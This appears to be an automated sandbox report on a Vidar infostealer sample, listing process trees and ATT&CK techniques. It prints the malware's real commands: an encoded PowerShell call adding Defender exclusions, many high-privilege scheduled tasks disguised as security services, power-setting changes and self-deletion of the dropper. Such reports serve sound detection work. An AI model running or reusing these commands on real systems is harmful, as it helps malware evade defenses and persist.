vidar | 723f833a06244d7601591949fae724e0176ca30ae9582f86848d20ffe0e33b77

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
3468	schtasks.exe
3904	schtasks.exe
4248	schtasks.exe
4512	schtasks.exe
4524	schtasks.exe
2764	schtasks.exe
1436	schtasks.exe
4608	schtasks.exe
3924	schtasks.exe
1556	schtasks.exe
4212	schtasks.exe
5096	schtasks.exe
3192	schtasks.exe
2408	schtasks.exe
1420	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1912 timeout.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

file.exe838218529-aoz988JA16Qh6yGQ.exepowershell.exe

pid process

4824 file.exe
4824 file.exe
3416 838218529-aoz988JA16Qh6yGQ.exe
1956 powershell.exe
1956 powershell.exe

pid	process
1912	timeout.exe

pid	process
4824	file.exe
4824	file.exe
3416	838218529-aoz988JA16Qh6yGQ.exe
1956	powershell.exe
1956	powershell.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

96440751719548940061.exe838218529-aoz988JA16Qh6yGQ.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	4916	96440751719548940061.exe
Token: SeDebugPrivilege	3416	838218529-aoz988JA16Qh6yGQ.exe
Token: SeDebugPrivilege	1956	powershell.exe
Token: SeShutdownPrivilege	4252	powercfg.exe
Token: SeCreatePagefilePrivilege	4252	powercfg.exe
Token: SeShutdownPrivilege	4336	powercfg.exe
Token: SeCreatePagefilePrivilege	4336	powercfg.exe
Token: SeShutdownPrivilege	4564	powercfg.exe
Token: SeCreatePagefilePrivilege	4564	powercfg.exe
Token: SeShutdownPrivilege	4740	powercfg.exe
Token: SeCreatePagefilePrivilege	4740	powercfg.exe
Token: SeShutdownPrivilege	2184	powercfg.exe
Token: SeCreatePagefilePrivilege	2184	powercfg.exe
Token: SeShutdownPrivilege	2184	powercfg.exe
Token: SeCreatePagefilePrivilege	2184	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.execmd.exe96440751719548940061.exe838218529-aoz988JA16Qh6yGQ.execmd.execmd.exe

description	pid	process	target process
PID 4824 wrote to memory of 4916	4824	file.exe	96440751719548940061.exe
PID 4824 wrote to memory of 4916	4824	file.exe	96440751719548940061.exe
PID 4824 wrote to memory of 4916	4824	file.exe	96440751719548940061.exe
PID 4824 wrote to memory of 4364	4824	file.exe	cmd.exe
PID 4824 wrote to memory of 4364	4824	file.exe	cmd.exe
PID 4824 wrote to memory of 4364	4824	file.exe	cmd.exe
PID 4364 wrote to memory of 1912	4364	cmd.exe	timeout.exe
PID 4364 wrote to memory of 1912	4364	cmd.exe	timeout.exe
PID 4364 wrote to memory of 1912	4364	cmd.exe	timeout.exe
PID 4916 wrote to memory of 3416	4916	96440751719548940061.exe	838218529-aoz988JA16Qh6yGQ.exe
PID 4916 wrote to memory of 3416	4916	96440751719548940061.exe	838218529-aoz988JA16Qh6yGQ.exe
PID 4916 wrote to memory of 3416	4916	96440751719548940061.exe	838218529-aoz988JA16Qh6yGQ.exe
PID 3416 wrote to memory of 4152	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4152	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4152	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 4152 wrote to memory of 1956	4152	cmd.exe	powershell.exe
PID 4152 wrote to memory of 1956	4152	cmd.exe	powershell.exe
PID 4152 wrote to memory of 1956	4152	cmd.exe	powershell.exe
PID 3416 wrote to memory of 2680	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2680	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2680	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5008	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5008	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 5008	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3504	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3504	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3504	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3452	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3452	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3452	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4084	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4084	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4084	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2004	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3992	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3992	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 3992	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4960	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4960	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 4960	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2392	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2392	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2392	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 696	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 696	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 696	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2684	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2684	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 2684	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 376	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 376	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 376	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 2680 wrote to memory of 1420	2680	cmd.exe	schtasks.exe
PID 2680 wrote to memory of 1420	2680	cmd.exe	schtasks.exe
PID 2680 wrote to memory of 1420	2680	cmd.exe	schtasks.exe
PID 3416 wrote to memory of 1672	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 1672	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 1672	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe
PID 3416 wrote to memory of 1148	3416	838218529-aoz988JA16Qh6yGQ.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4824

C:\ProgramData\96440751719548940061.exe
"C:\ProgramData\96440751719548940061.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4916

C:\Users\Admin\AppData\Local\Temp\838218529-aoz988JA16Qh6yGQ.exe
"C:\Users\Admin\AppData\Local\Temp\838218529-aoz988JA16Qh6yGQ.exe"
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjAHQAbwBCAFUAVgBlAFIAQQBSAGsATgBKAHEAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBrAGMARAByAHgAaABJAEIASwB0AFUAYgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAWABhAFcAYwB2AGUAcgB5AE0AWgBmAGcAQwBzACMAPgAgAEAAKAAgADwAIwBzAEIARwBvAFUAdgBrAEkATgBKAEwAeQBUAE0AVQAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMASgBPAEMAdQBFAFAAbQB5AGYAWQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAVABVAEMAcQBwAHAAWQB4AGcAbgBTAHgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbgBzAGQAbQBYAEkAZQBCAFQAUwBTAGYAIwA+AA=="
4⤵
- Suspicious use of WriteProcessMemory
PID:4152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHQAbwBCAFUAVgBlAFIAQQBSAGsATgBKAHEAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBrAGMARAByAHgAaABJAEIASwB0AFUAYgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAWABhAFcAYwB2AGUAcgB5AE0AWgBmAGcAQwBzACMAPgAgAEAAKAAgADwAIwBzAEIARwBvAFUAdgBrAEkATgBKAEwAeQBUAE0AVQAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMASgBPAEMAdQBFAFAAbQB5AGYAWQAjAD4AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhACkAIAA8ACMAVABVAEMAcQBwAHAAWQB4AGcAbgBTAHgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbgBzAGQAbQBYAEkAZQBCAFQAUwBTAGYAIwA+AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "SecurityHealthSystray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:1420

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:5004

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefender" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4512

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:5008

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WmiPrvSE" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4524

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:3504

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareServiceExecutable" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:3192

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:3452

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "RuntimeBroker" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:5096

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:4084

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftEdgeUpd" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:3468

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:2004

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "OneDriveService" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4608

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:3992

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "NvStray" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:1436

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk885" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:4960

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "WindowsDefenderServices\WindowsDefenderServicesServices_bk885" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:2764

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk435" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:2392

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "AntiMalwareSericeExecutable\AntiMalwareSericeExecutableServices_bk435" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:3904

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk461" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:696

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "MicrosoftUpdateServices\MicrosoftUpdateServicesServices_bk461" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:2408

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk704" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:2684

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "SettingSysHost\SettingSysHostServices_bk704" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4248

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk556" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:376

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "Agent Activation Runtime\Agent Activation RuntimeServices_bk556" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:3924

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off & SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
4⤵
PID:1672

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4252

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4564

C:\Windows\SysWOW64\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Windows\SysWOW64\powercfg.exe
powercfg /hibernate off
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2184

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRule" /TR "C:\ProgramData\RuntimeBrokerData\RuntimeBroker.exe" /RL HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4212

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
4⤵
PID:1148

C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "ActivationRuntime" /TR "C:\ProgramData\RuntimeBrokerData\RegSvc.exe" /f
5⤵
- Creates scheduled task(s)
PID:1556

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\file.exe" & exit
2⤵
- Suspicious use of WriteProcessMemory
PID:4364

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
3⤵
- Delays execution with timeout.exe
PID:1912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 1972
2⤵
- Program crash
PID:228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4824 -ip 4824
1⤵
PID:4008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service